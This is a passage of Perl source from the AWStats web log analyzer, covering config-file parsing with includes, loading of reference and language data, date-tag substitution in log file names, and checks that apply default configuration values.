if ( !scalar keys %ValidSMTPCodes ) {
$ValidSMTPCodes{"1"} = $ValidSMTPCodes{"250"} = 1;
}
# If parameter TrapInfosForHTTPErrorCodes empty, init to default
if ( !scalar keys %TrapInfosForHTTPErrorCodes ) {
$TrapInfosForHTTPErrorCodes{"404"} = 1;
}
}
#------------------------------------------------------------------------------
# Function: Parse content of a config file
# Parameters: opened file handle, depth level, file name
# Input: -
# Output: Global variables
# Return: -
#------------------------------------------------------------------------------
sub Parse_Config {
my ($confighandle) = $_[0];
my $level = $_[1];
my $configFile = $_[2];
my $versionnum = 0;
my $conflinenb = 0;
if ( $level > 10 ) {
error(
"$PROG can't read down more than 10 level of includes. Check that no 'included' config files include their parent config file (this cause infinite loop)."
);
}
while (<$confighandle>) {
chomp $_;
s/\r//;
$conflinenb++;
# Extract version from first line
if ( !$versionnum && $_ =~ /^# AWSTATS CONFIGURE FILE (\d+).(\d+)/i ) {
$versionnum = ( $1 * 1000 ) + $2;
#if ($Debug) { debug(" Configure file version is $versionnum",1); }
next;
}
if ( $_ =~ /^\s*$/ ) { next; }
# Check includes
if ( $_ =~ /^Include "([^\"]+)"/ || $_ =~ /^#include "([^\"]+)"/ )
{ # #include kept for backward compatibility
my $includeFile = $1;
# Expand __var__ by values
while ( $includeFile =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) {
my $var = $1;
$includeFile =~ s/__${var}__/$ENV{$var}/g;
}
if ($Debug) { debug( "Found an include : $includeFile", 2 ); }
if ( $includeFile !~ /^([a-zA-Z]:)?[\\\/]/ ) {
# Correct relative include files
if ( $FileConfig =~ /^(.*[\\\/])[^\\\/]*$/ ) {
$includeFile = "$1$includeFile";
}
}
if ( $level > 1 && $^V lt v5.6.0 ) {
warning(
"Warning: Perl versions before 5.6 cannot handle nested includes"
);
next;
}
local( *CONFIG_INCLUDE ); # To avoid having parent file closed when include file is closed
if ( open( CONFIG_INCLUDE, "<$includeFile" ) ) {
&Parse_Config( *CONFIG_INCLUDE, $level + 1, $includeFile );
close(CONFIG_INCLUDE);
}
else {
error("Could not open include file: $includeFile");
}
next;
}
# Remove comments
if ( $_ =~ /^\s*#/ ) { next; }
$_ =~ s/\s#.*$//;
# Extract param and value
my ( $param, $value ) = split( /=/, $_, 2 );
$param =~ s/^\s+//;
$param =~ s/\s+$//;
# If not a param=value, try with next line
if ( !$param ) {
warning(
"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."
);
next;
}
if ( !defined $value ) {
warning(
"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."
);
next;
}
if ($value) {
$value =~ s/^\s+//;
$value =~ s/\s+$//;
$value =~ s/^\"//;
$value =~ s/\";?$//;
# Replace __MONENV__ with value of environnement variable MONENV
# Must be able to replace __VAR_1____VAR_2__
while ( $value =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) {
my $var = $1;
$value =~ s/__${var}__/$ENV{$var}/g;
}
}
# Initialize parameter for (param,value)
if ( $param =~ /^LogFile/ ) {
if ( $QueryString !~ /logfile=([^\s&]+)/i ) { $LogFile = $value; }
next;
}
if ( $param =~ /^DirIcons/ ) {
if ( $QueryString !~ /diricons=([^\s&]+)/i ) { $DirIcons = $value; }
next;
}
if ( $param =~ /^SiteDomain/ ) {
# No regex test as SiteDomain is always exact value
$SiteDomain = $value;
if ($SiteDomain =~ m/xn--/)
{
# TODO Add code to test if IDNA::Punycode module is on
#use IDNA::Punycode;
$DecodePunycode=0; # Set to 1 if module is on
if ($DecodePunycode)
{
idn_prefix(undef);
my @parts = split(/\./, $SiteDomain);
foreach (@parts) {
if ($_ =~ s/^xn--//) {
eval { $_ = decode_punycode($_); };
if (my $e = $@) { $_ = $e; }
}
}
$SiteDomain = join('.', @parts);
}
}
next;
}
if ( $param =~ /^AddLinkToExternalCGIWrapper/ ) {
# No regex test as AddLinkToExternalCGIWrapper is always exact value
$AddLinkToExternalCGIWrapper = $value;
next;
}
if ( $param =~ /^HostAliases/ ) {
@HostAliases = ();
foreach my $elem ( split( /\s+/, $value ) ) {
if ( $elem =~ s/^\@// ) { # If list of hostaliases in a file
open( DATAFILE, "<$elem" )
|| error(
"Failed to open file '$elem' declared in HostAliases parameter"
);
my @val = map( /^(.*)$/i, <DATAFILE> );
push @HostAliases, map { qr/^$_$/i } @val;
close(DATAFILE);
}
else {
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
else { $elem = '^' . quotemeta($elem) . '$'; }
if ($elem) { push @HostAliases, qr/$elem/i; }
}
}
next;
}
# Special optional setup params
if ( $param =~ /^SkipDNSLookupFor/ ) {
@SkipDNSLookupFor = ();
foreach my $elem ( split( /\s+/, $value ) ) {
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
else { $elem = '^' . quotemeta($elem) . '$'; }
if ($elem) { push @SkipDNSLookupFor, qr/$elem/i; }
}
next;
}
if ( $param =~ /^AllowAccessFromWebToFollowingAuthenticatedUsers/ ) {
@AllowAccessFromWebToFollowingAuthenticatedUsers = ();
foreach ( split( /\s+/, $value ) ) {
push @AllowAccessFromWebToFollowingAuthenticatedUsers, $_;
}
next;
}
if ( $param =~ /^DefaultFile/ ) {
@DefaultFile = ();
foreach my $elem ( split( /\s+/, $value ) ) {
# No REGEX for this option
#if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; }
#else { $elem='^'.quotemeta($elem).'$'; }
if ($elem) { push @DefaultFile, $elem; }
}
next;
}
if ( $param =~ /^SkipHosts/ ) {
@SkipHosts = ();
foreach my $elem ( split( /\s+/, $value ) ) {
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
else { $elem = '^' . quotemeta($elem) . '$'; }
if ($elem) { push @SkipHosts, qr/$elem/i; }
}
next;
}
if ( $param =~ /^SkipReferrersBlackList/ && $value ) {
open( BLACKLIST, "<$value" )
|| die "Failed to open blacklist: $!\n";
while (<BLACKLIST>) {
chomp;
my $elem = $_;
$elem =~ s/ //;
$elem =~ s/\#.*//;
if ($elem) { push @SkipReferrers, qr/$elem/i; }
}
next;
close(BLACKLIST);
}
if ( $param =~ /^SkipUserAgents/ ) {
@SkipUserAgents = ();
foreach my $elem ( split( /\s+/, $value ) ) {
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
else { $elem = '^' . quotemeta($elem) . '$'; }
if ($elem) { push @SkipUserAgents, qr/$elem/i; }
}
next;
}
if ( $param =~ /^SkipFiles/ ) {
@SkipFiles = ();
foreach my $elem ( split( /\s+/, $value ) ) {
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
else { $elem = '^' . quotemeta($elem) . '$'; }
if ($elem) { push @SkipFiles, qr/$elem/i; }
}
next;
}
if ( $param =~ /^OnlyHosts/ ) {
@OnlyHosts = ();
foreach my $elem ( split( /\s+/, $value ) ) {
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
else { $elem = '^' . quotemeta($elem) . '$'; }
if ($elem) { push @OnlyHosts, qr/$elem/i; }
}
next;
}
if ( $param =~ /^OnlyUsers/ ) {
@OnlyUsers = ();
foreach my $elem ( split( /\s+/, $value ) ) {
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
else { $elem = '^' . quotemeta($elem) . '$'; }
if ($elem) { push @OnlyUsers, qr/$elem/i; }
}
next;
}
if ( $param =~ /^OnlyUserAgents/ ) {
@OnlyUserAgents = ();
foreach my $elem ( split( /\s+/, $value ) ) {
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
else { $elem = '^' . quotemeta($elem) . '$'; }
if ($elem) { push @OnlyUserAgents, qr/$elem/i; }
}
next;
}
if ( $param =~ /^OnlyFiles/ ) {
@OnlyFiles = ();
foreach my $elem ( split( /\s+/, $value ) ) {
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
else { $elem = '^' . quotemeta($elem) . '$'; }
if ($elem) { push @OnlyFiles, qr/$elem/i; }
}
next;
}
if ( $param =~ /^NotPageFiles/ ) {
@NotPageFiles = ();
foreach my $elem ( split( /\s+/, $value ) ) {
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
else { $elem = '^' . quotemeta($elem) . '$'; }
if ($elem) { push @NotPageFiles, qr/$elem/i; }
}
next;
}
if ( $param =~ /^NotPageList/ ) {
%NotPageList = ();
foreach ( split( /\s+/, $value ) ) { $NotPageList{$_} = 1; }
$FoundNotPageList = 1;
next;
}
if ( $param =~ /^ValidHTTPCodes/ ) {
%ValidHTTPCodes = ();
foreach ( split( /\s+/, $value ) ) { $ValidHTTPCodes{$_} = 1; }
next;
}
if ( $param =~ /^ValidSMTPCodes/ ) {
%ValidSMTPCodes = ();
foreach ( split( /\s+/, $value ) ) { $ValidSMTPCodes{$_} = 1; }
next;
}
if ( $param =~ /^TrapInfosForHTTPErrorCodes/ ) {
%TrapInfosForHTTPErrorCodes = ();
foreach ( split( /\s+/, $value ) ) { $TrapInfosForHTTPErrorCodes{$_} = 1; }
next;
}
if ( $param =~ /^URLWithQueryWithOnlyFollowingParameters$/ ) {
@URLWithQueryWithOnly = split( /\s+/, $value );
next;
}
if ( $param =~ /^URLWithQueryWithoutFollowingParameters$/ ) {
@URLWithQueryWithout = split( /\s+/, $value );
next;
}
# Extra parameters
if ( $param =~ /^ExtraSectionName(\d+)/ ) {
$ExtraName[$1] = $value;
next;
}
if ( $param =~ /^ExtraSectionCodeFilter(\d+)/ ) {
@{ $ExtraCodeFilter[$1] } = split( /\s+/, $value );
next;
}
if ( $param =~ /^ExtraSectionCondition(\d+)/ ) {
$ExtraCondition[$1] = $value;
next;
}
if ( $param =~ /^ExtraSectionStatTypes(\d+)/ ) {
$ExtraStatTypes[$1] = $value;
next;
}
if ( $param =~ /^ExtraSectionFirstColumnTitle(\d+)/ ) {
$ExtraFirstColumnTitle[$1] = $value;
next;
}
if ( $param =~ /^ExtraSectionFirstColumnValues(\d+)/ ) {
$ExtraFirstColumnValues[$1] = $value;
next;
}
if ( $param =~ /^ExtraSectionFirstColumnFunction(\d+)/ ) {
$ExtraFirstColumnFunction[$1] = $value;
next;
}
if ( $param =~ /^ExtraSectionFirstColumnFormat(\d+)/ ) {
$ExtraFirstColumnFormat[$1] = $value;
next;
}
if ( $param =~ /^ExtraSectionAddAverageRow(\d+)/ ) {
$ExtraAddAverageRow[$1] = $value;
next;
}
if ( $param =~ /^ExtraSectionAddSumRow(\d+)/ ) {
$ExtraAddSumRow[$1] = $value;
next;
}
if ( $param =~ /^MaxNbOfExtra(\d+)/ ) {
$MaxNbOfExtra[$1] = $value;
next;
}
if ( $param =~ /^MinHitExtra(\d+)/ ) {
$MinHitExtra[$1] = $value;
next;
}
# Plugins
if ( $param =~ /^LoadPlugin/ ) {
$value =~ s/[^a-zA-Z0-9_\/\.\+:=\?\s%\-]//g; # Sanitize plugin name and string param because it is used later in an eval.
push @PluginsToLoad, $value; next;
}
# Other parameter checks we need to put after MaxNbOfExtra and MinHitExtra
if ( $param =~ /^MaxNbOf(\w+)/ ) { $MaxNbOf{$1} = $value; next; }
if ( $param =~ /^MinHit(\w+)/ ) { $MinHit{$1} = $value; next; }
# Check if this is a known parameter
# if (! $ConfOk{$param}) { error("Unknown config parameter '$param' found line $conflinenb in file \"configFile\""); }
# If parameters was not found previously, defined variable with name of param to value
$$param = $value;
}
if ($Debug) {
debug("Config file read was \"$configFile\" (level $level)");
}
}
#------------------------------------------------------------------------------
# Function: Load the reference databases
# Parameters: List of files to load
# Input: $DIR
# Output: Arrays and Hash tables are defined
# Return: -
#------------------------------------------------------------------------------
sub Read_Ref_Data {
# Check lib files in common possible directories :
# Windows and standard package: "$DIR/lib" (lib in same dir than awstats.pl)
# Debian package: "/usr/share/awstats/lib"
my @PossibleLibDir = ( "$DIR/lib", "/usr/share/awstats/lib" );
my %FilePath = ();
my %DirAddedInINC = ();
my @FileListToLoad = ();
while ( my $file = shift ) { push @FileListToLoad, "$file.pm"; }
if ($Debug) {
debug( "Call to Read_Ref_Data with files to load: "
. ( join( ',', @FileListToLoad ) ) );
}
foreach my $file (@FileListToLoad) {
foreach my $dir (@PossibleLibDir) {
my $searchdir = $dir;
if ( $searchdir
&& ( !( $searchdir =~ /\/$/ ) )
&& ( !( $searchdir =~ /\\$/ ) ) )
{
$searchdir .= "/";
}
if ( !$FilePath{$file} )
{ # To not load twice same file in different path
if ( -s "${searchdir}${file}" ) {
$FilePath{$file} = "${searchdir}${file}";
if ($Debug) {
debug(
"Call to Read_Ref_Data [FilePath{$file}=\"$FilePath{$file}\"]"
);
}
# Note: cygwin perl 5.8 need a push + require file
if ( !$DirAddedInINC{"$dir"} ) {
push @INC, "$dir";
$DirAddedInINC{"$dir"} = 1;
}
my $loadret = require "$file";
#my $loadret=(require "$FilePath{$file}"||require "${file}");
}
}
}
if ( !$FilePath{$file} ) {
my $filetext = $file;
$filetext =~ s/\.pm$//;
$filetext =~ s/_/ /g;
warning(
"Warning: Can't read file \"$file\" ($filetext detection will not work correctly).\nCheck if file is in \""
. ( $PossibleLibDir[0] )
. "\" directory and is readable." );
}
}
# Sanity check (if loaded)
if ( ( scalar keys %OSHashID )
&& @OSSearchIDOrder != scalar keys %OSHashID )
{
error( "Not same number of records of OSSearchIDOrder ("
. (@OSSearchIDOrder)
. " entries) and OSHashID ("
. ( scalar keys %OSHashID )
. " entries) in OS database. Check your file "
. $FilePath{"operating_systems.pm"} );
}
if (
( scalar keys %SearchEnginesHashID )
&& ( @SearchEnginesSearchIDOrder_list1 +
@SearchEnginesSearchIDOrder_list2 +
@SearchEnginesSearchIDOrder_listgen ) != scalar
keys %SearchEnginesHashID
)
{
error(
"Not same number of records of SearchEnginesSearchIDOrder_listx (total is "
. (
@SearchEnginesSearchIDOrder_list1 +
@SearchEnginesSearchIDOrder_list2 +
@SearchEnginesSearchIDOrder_listgen
)
. " entries) and SearchEnginesHashID ("
. ( scalar keys %SearchEnginesHashID )
. " entries) in Search Engines database. Check your file "
. $FilePath{"search_engines.pm"}
. " is up to date."
);
}
if ( ( scalar keys %BrowsersHashIDLib )
&& @BrowsersSearchIDOrder != ( scalar keys %BrowsersHashIDLib ) - ( scalar keys %BrowsersFamily ) )
{
#foreach (sort keys %BrowsersHashIDLib)
#{
# print $_."\n";
#}
#foreach (sort @BrowsersSearchIDOrder)
#{
# print $_."\n";
#}
error( "Not same number of records of BrowsersSearchIDOrder ("
. (@BrowsersSearchIDOrder)
. " entries) and BrowsersHashIDLib ("
. ( ( scalar keys %BrowsersHashIDLib ) - ( scalar keys %BrowsersFamily ) )
. " entries without firefox,opera,chrome,safari,konqueror,svn,msie,netscape,edge) in Browsers database. May be you updated AWStats without updating browsers.pm file or you made changed into browsers.pm not correctly. Check your file "
. $FilePath{"browsers.pm"}
. " is up to date." );
}
if (
( scalar keys %RobotsHashIDLib )
&& ( @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 +
@RobotsSearchIDOrder_listgen ) !=
( scalar keys %RobotsHashIDLib ) - 1
)
{
error(
"Not same number of records of RobotsSearchIDOrder_listx (total is "
. (
@RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 +
@RobotsSearchIDOrder_listgen
)
. " entries) and RobotsHashIDLib ("
. ( ( scalar keys %RobotsHashIDLib ) - 1 )
. " entries without 'unknown') in Robots database. Check your file "
. $FilePath{"robots.pm"}
. " is up to date."
);
}
}
#------------------------------------------------------------------------------
# Function: Get the messages for a specified language
# Parameters: LanguageId
# Input: $DirLang $DIR
# Output: $Message table is defined in memory
# Return: None
#------------------------------------------------------------------------------
sub Read_Language_Data {
# Check lang files in common possible directories :
# Windows and standard package: "$DIR/lang" (lang in same dir than awstats.pl)
# Debian package : "/usr/share/awstats/lang"
my @PossibleLangDir =
( "$DirLang", "$DIR/lang", "/usr/share/awstats/lang" );
my $FileLang = '';
foreach (@PossibleLangDir) {
my $searchdir = $_;
if ( $searchdir =~ /\|/ ) # We refuse path that contains "|"
{
error("DirLang parameter can't contains character |");
next;
}
if ( $searchdir
&& ( !( $searchdir =~ /\/$/ ) )
&& ( !( $searchdir =~ /\\$/ ) ) )
{
$searchdir .= "/";
}
if ( open( LANG, "${searchdir}awstats-$_[0].txt" ) ) {
$FileLang = "${searchdir}awstats-$_[0].txt";
last;
}
}
# If file not found, we try english
if ( !$FileLang ) {
foreach (@PossibleLangDir) {
my $searchdir = $_;
if ( $searchdir
&& ( !( $searchdir =~ /\/$/ ) )
&& ( !( $searchdir =~ /\\$/ ) ) )
{
$searchdir .= "/";
}
if ( open( LANG, "${searchdir}awstats-en.txt" ) ) {
$FileLang = "${searchdir}awstats-en.txt";
last;
}
}
}
if ($Debug) {
debug("Call to Read_Language_Data [FileLang=\"$FileLang\"]");
}
if ($FileLang) {
my $i = 0;
binmode LANG; # Might avoid 'Malformed UTF-8 errors'
my $cregcode = qr/^PageCode=[\t\s\"\']*([\w-]+)/i;
my $cregdir = qr/^PageDir=[\t\s\"\']*([\w-]+)/i;
my $cregmessage = qr/^Message\d+=/i;
while (<LANG>) {
chomp $_;
s/\r//;
if ( $_ =~ /$cregcode/o ) { $PageCode = $1; }
if ( $_ =~ /$cregdir/o ) { $PageDir = $1; }
if ( $_ =~ s/$cregmessage//o ) {
$_ =~ s/^#.*//; # Remove comments
$_ =~ s/\s+#.*//; # Remove comments
$_ =~ tr/\t / /s; # Change all blanks into " "
$_ =~ s/^\s+//;
$_ =~ s/\s+$//;
$_ =~ s/^\"//;
$_ =~ s/\"$//;
$Message[$i] = $_;
$i++;
}
}
close(LANG);
}
else {
warning(
"Warning: Can't find language files for \"$_[0]\". English will be used."
);
}
# Some language string changes
if ( $LogType eq 'M' ) { # For mail
$Message[8] = $Message[151];
$Message[9] = $Message[152];
$Message[57] = $Message[149];
$Message[75] = $Message[150];
}
if ( $LogType eq 'F' ) { # For web
}
}
#------------------------------------------------------------------------------
# Function: Substitute date tags in a string by value
# Parameters: String
# Input: All global variables
# Output: Change on some global variables
# Return: String
#------------------------------------------------------------------------------
sub Substitute_Tags {
my $SourceString = shift;
if ($Debug) { debug("Call to Substitute_Tags on $SourceString"); }
my %MonthNumLibEn = (
"01", "Jan", "02", "Feb", "03", "Mar", "04", "Apr",
"05", "May", "06", "Jun", "07", "Jul", "08", "Aug",
"09", "Sep", "10", "Oct", "11", "Nov", "12", "Dec"
);
while ( $SourceString =~ /%([ymdhwYMDHWNSO]+)-(\(\d+\)|\d+)/ ) {
# Accept tag %xx-dd and %xx-(dd)
my $timetag = "$1";
my $timephase = quotemeta("$2");
my $timephasenb = "$2";
$timephasenb =~ s/[^\d]//g;
if ($Debug) {
debug(
" Found a time tag '$timetag' with a phase of '$timephasenb' hour in log file name",
1
);
}
# Get older time
my (
$oldersec, $oldermin, $olderhour, $olderday,
$oldermonth, $olderyear, $olderwday, $olderyday
)
= localtime( $starttime - ( $timephasenb * 3600 ) );
my $olderweekofmonth = int( $olderday / 7 );
my $olderweekofyear =
int(
( $olderyday - 1 + 6 - ( $olderwday == 0 ? 6 : $olderwday - 1 ) ) /
7 ) + 1;
if ( $olderweekofyear > 53 ) { $olderweekofyear = 1; }
my $olderdaymod = $olderday % 7;
$olderwday++;
my $olderns =
Time::Local::timegm( 0, 0, 0, $olderday, $oldermonth, $olderyear );
if ( $olderdaymod <= $olderwday ) {
if ( ( $olderwday != 7 ) || ( $olderdaymod != 0 ) ) {
$olderweekofmonth = $olderweekofmonth + 1;
}
}
if ( $olderdaymod > $olderwday ) {
$olderweekofmonth = $olderweekofmonth + 2;
}
# Change format of time variables
$olderweekofmonth = "0$olderweekofmonth";
if ( $olderweekofyear < 10 ) { $olderweekofyear = "0$olderweekofyear"; }
if ( $olderyear < 100 ) { $olderyear += 2000; }
else { $olderyear += 1900; }
my $oldersmallyear = $olderyear;
$oldersmallyear =~ s/^..//;
if ( ++$oldermonth < 10 ) { $oldermonth = "0$oldermonth"; }
if ( $olderday < 10 ) { $olderday = "0$olderday"; }
if ( $olderhour < 10 ) { $olderhour = "0$olderhour"; }
if ( $oldermin < 10 ) { $oldermin = "0$oldermin"; }
if ( $oldersec < 10 ) { $oldersec = "0$oldersec"; }
# Replace tag with new value
if ( $timetag eq 'YYYY' ) {
$SourceString =~ s/%YYYY-$timephase/$olderyear/ig;
next;
}
if ( $timetag eq 'YY' ) {
$SourceString =~ s/%YY-$timephase/$oldersmallyear/ig;
next;
}
if ( $timetag eq 'MM' ) {
$SourceString =~ s/%MM-$timephase/$oldermonth/ig;
next;
}
if ( $timetag eq 'MO' ) {
$SourceString =~ s/%MO-$timephase/$MonthNumLibEn{$oldermonth}/ig;
next;
}
if ( $timetag eq 'DD' ) {
$SourceString =~ s/%DD-$timephase/$olderday/ig;
next;
}
if ( $timetag eq 'HH' ) {
$SourceString =~ s/%HH-$timephase/$olderhour/ig;
next;
}
if ( $timetag eq 'NS' ) {
$SourceString =~ s/%NS-$timephase/$olderns/ig;
next;
}
if ( $timetag eq 'WM' ) {
$SourceString =~ s/%WM-$timephase/$olderweekofmonth/g;
next;
}
if ( $timetag eq 'Wm' ) {
my $olderweekofmonth0 = $olderweekofmonth - 1;
$SourceString =~ s/%Wm-$timephase/$olderweekofmonth0/g;
next;
}
if ( $timetag eq 'WY' ) {
$SourceString =~ s/%WY-$timephase/$olderweekofyear/g;
next;
}
if ( $timetag eq 'Wy' ) {
my $olderweekofyear0 = sprintf( "%02d", $olderweekofyear - 1 );
$SourceString =~ s/%Wy-$timephase/$olderweekofyear0/g;
next;
}
if ( $timetag eq 'DW' ) {
$SourceString =~ s/%DW-$timephase/$olderwday/g;
next;
}
if ( $timetag eq 'Dw' ) {
my $olderwday0 = $olderwday - 1;
$SourceString =~ s/%Dw-$timephase/$olderwday0/g;
next;
}
# If unknown tag
error("Unknown tag '\%$timetag' in parameter.");
}
# Replace %YYYY %YY %MM %DD %HH with current value. Kept for backward compatibility.
$SourceString =~ s/%YYYY/$nowyear/ig;
$SourceString =~ s/%YY/$nowsmallyear/ig;
$SourceString =~ s/%MM/$nowmonth/ig;
$SourceString =~ s/%MO/$MonthNumLibEn{$nowmonth}/ig;
$SourceString =~ s/%DD/$nowday/ig;
$SourceString =~ s/%HH/$nowhour/ig;
$SourceString =~ s/%NS/$nowns/ig;
$SourceString =~ s/%WM/$nowweekofmonth/g;
my $nowweekofmonth0 = $nowweekofmonth - 1;
$SourceString =~ s/%Wm/$nowweekofmonth0/g;
$SourceString =~ s/%WY/$nowweekofyear/g;
my $nowweekofyear0 = $nowweekofyear - 1;
$SourceString =~ s/%Wy/$nowweekofyear0/g;
$SourceString =~ s/%DW/$nowwday/g;
my $nowwday0 = $nowwday - 1;
$SourceString =~ s/%Dw/$nowwday0/g;
return $SourceString;
}
#------------------------------------------------------------------------------
# Function: Check if all parameters are correctly defined. If not set them to default.
# Parameters: None
# Input: All global variables
# Output: Change on some global variables
# Return: None
#------------------------------------------------------------------------------
sub Check_Config {
if ($Debug) { debug("Call to Check_Config"); }
# Show initial values of main parameters before check
if ($Debug) {
debug( " LogFile='$LogFile'", 2 );
debug( " LogType='$LogType'", 2 );
debug( " LogFormat='$LogFormat'", 2 );
debug( " LogSeparator='$LogSeparator'", 2 );
debug( " DNSLookup='$DNSLookup'", 2 );
debug( " DirData='$DirData'", 2 );
debug( " DirCgi='$DirCgi'", 2 );
debug( " DirIcons='$DirIcons'", 2 );
debug( " NotPageList " . ( join( ',', keys %NotPageList ) ), 2 );
debug( " ValidHTTPCodes " . ( join( ',', keys %ValidHTTPCodes ) ), 2 );
debug( " ValidSMTPCodes " . ( join( ',', keys %ValidSMTPCodes ) ), 2 );
debug( " UseFramesWhenCGI=$UseFramesWhenCGI", 2 );
debug( " BuildReportFormat=$BuildReportFormat", 2 );
debug( " BuildHistoryFormat=$BuildHistoryFormat", 2 );
debug(
" URLWithQueryWithOnlyFollowingParameters="
. ( join( ',', @URLWithQueryWithOnly ) ),
2
);
debug(
" URLWithQueryWithoutFollowingParameters="
. ( join( ',', @URLWithQueryWithout ) ),
2
);
}
# Main section
$LogFile = &Substitute_Tags($LogFile);
if ( !$LogFile ) {
error("LogFile parameter is not defined in config/domain file");
}
if ( $LogType !~ /[WSMF]/i ) { $LogType = 'W'; }
$LogFormat =~ s/\\//g;
if ( !$LogFormat ) {
error("LogFormat parameter is not defined in config/domain file");
}
if ( $LogFormat =~ /^\d$/ && $LogFormat !~ /[1-6]/ ) {
error(
"LogFormat parameter is wrong in config/domain file. Value is '$LogFormat' (should be 1,2,3,4,5 or a 'personalized AWStats log format string')"
);
}
$LogSeparator ||= "\\s";
$DirData ||= '.';
$DirCgi ||= '/cgi-bin';
$DirIcons ||= '/icon';
if ( $DNSLookup !~ /[0-2]/ ) {
error(
"DNSLookup parameter is wrong in config/domain file. Value is '$DNSLookup' (should be 0,1 or 2)"
);
}
if ( !$SiteDomain ) {
error(
"SiteDomain parameter not defined in your config/domain file. You must edit it for using this version of AWStats."
);
}
if ( $AllowToUpdateStatsFromBrowser !~ /[0-1]/ ) {
$AllowToUpdateStatsFromBrowser = 0;
}
if ( $AllowFullYearView !~ /[0-3]/ ) { $AllowFullYearView = 2; }
# Optional setup section
if ( !$SectionsToBeSaved ) { $SectionsToBeSaved = 'all'; }
if ( $EnableLockForUpdate !~ /[0-1]/ ) { $EnableLockForUpdate = 0; }
$DNSStaticCacheFile ||= 'dnscache.txt';
$DNSLastUpdateCacheFile ||= 'dnscachelastupdate.txt';
if ( $DNSStaticCacheFile eq $DNSLastUpdateCacheFile ) {
error(
"DNSStaticCacheFile and DNSLastUpdateCacheFile must have different values."
);
}
if ( $AllowAccessFromWebToAuthenticatedUsersOnly !~ /[0-1]/ ) {
$AllowAccessFromWebToAuthenticatedUsersOnly = 0;
}
if ( $CreateDirDataIfNotExists !~ /[0-1]/ ) {
$CreateDirDataIfNotExists = 0;
}
if ( $BuildReportFormat !~ /html|xhtml|xml/i ) {
$BuildReportFormat = 'html';
}
if ( $BuildHistoryFormat !~ /text|xml/ ) { $BuildHistoryFormat = 'text'; }
if ( $SaveDatabaseFilesWithPermissionsForEveryone !~ /[0-1]/ ) {
$SaveDatabaseFilesWithPermissionsForEveryone = 0;
}
if ( $PurgeLogFile !~ /[0-1]/ ) { $PurgeLogFile = 0; }
if ( $KeepBackupOfHistoricFiles !~ /[0-1]/ ) {
$KeepBackupOfHistoricFiles = 0;
}
$DefaultFile[0] ||= 'index.html';
if ( $AuthenticatedUsersNotCaseSensitive !~ /[0-1]/ ) {
$AuthenticatedUsersNotCaseSensitive = 0;
}
if ( $URLNotCaseSensitive !~ /[0-1]/ ) { $URLNotCaseSensitive = 0; }
if ( $URLWithAnchor !~ /[0-1]/ ) { $URLWithAnchor = 0; }
$URLQuerySeparators =~ s/\s//g;
if ( !$URLQuerySeparators ) { $URLQuerySeparators = '?;'; }
if ( $URLWithQuery !~ /[0-1]/ ) { $URLWithQuery = 0; }
if ( $URLReferrerWithQuery !~ /[0-1]/ ) { $URLReferrerWithQuery = 0; }
if ( $WarningMessages !~ /[0-1]/ ) { $WarningMessages = 1; }
if ( $DebugMessages !~ /[0-1]/ ) { $DebugMessages = 0; }
if ( $NbOfLinesForCorruptedLog !~ /^\d+/ || $NbOfLinesForCorruptedLog < 1 )
{
$NbOfLinesForCorruptedLog = 50;
}
if ( $Expires !~ /^\d+/ ) { $Expires = 0; }
if ( $DecodeUA !~ /[0-1]/ ) { $DecodeUA = 0; }
$MiscTrackerUrl ||= '/js/awstats_misc_tracker.js';
# Optional accuracy setup section
if ( $LevelForWormsDetection !~ /^\d+/ ) { $LevelForWormsDetection = 0; }
if ( $LevelForRobotsDetection !~ /^\d+/ ) { $LevelForRobotsDetection = 2; }
if ( $LevelForBrowsersDetection !~ /^\w+/ ) {
$LevelForBrowsersDetection = 2;
} # Can be 'allphones'
if ( $LevelForOSDetection !~ /^\d+/ ) { $LevelForOSDetection = 2; }
if ( $LevelForRefererAnalyze !~ /^\d+/ ) { $LevelForRefererAnalyze = 2; }
if ( $LevelForFileTypesDetection !~ /^\d+/ ) {
$LevelForFileTypesDetection = 2;
}
if ( $LevelForSearchEnginesDetection !~ /^\d+/ ) {
$LevelForSearchEnginesDetection = 2;
}
if ( $LevelForKeywordsDetection !~ /^\d+/ ) {
$LevelForKeywordsDetection = 2;
}
# Optional extra setup section
foreach my $extracpt ( 1 .. @ExtraName - 1 ) {
if ( $ExtraStatTypes[$extracpt] !~ /[PHBL]/ ) {
$ExtraStatTypes[$extracpt] = 'PHBL';
}
if ( $MaxNbOfExtra[$extracpt] !~ /^\d+$/
|| $MaxNbOfExtra[$extracpt] < 0 )
{
$MaxNbOfExtra[$extracpt] = 20;
}
if ( $MinHitExtra[$extracpt] !~ /^\d+$/ || $MinHitExtra[$extracpt] < 1 )
{
$MinHitExtra[$extracpt] = 1;
}
if ( !$ExtraFirstColumnValues[$extracpt] ) {
error(
"Extra section number $extracpt is defined without ExtraSectionFirstColumnValues$extracpt parameter"
);
}
if ( !$ExtraFirstColumnFormat[$extracpt] ) {
$ExtraFirstColumnFormat[$extracpt] = '%s';
}
}
# Optional appearance setup section
if ( $MaxRowsInHTMLOutput !~ /^\d+/ || $MaxRowsInHTMLOutput < 1 ) {
$MaxRowsInHTMLOutput = 1000;
}
if ( $ShowMenu !~ /[01]/ ) { $ShowMenu = 1; }
if ( $ShowSummary !~ /[01UVPHB]/ ) { $ShowSummary = 'UVPHB'; }
if ( $ShowMonthStats !~ /[01UVPHB]/ ) { $ShowMonthStats = 'UVPHB'; }
if ( $ShowDaysOfMonthStats !~ /[01VPHB]/ ) {
$ShowDaysOfMonthStats = 'VPHB';
}
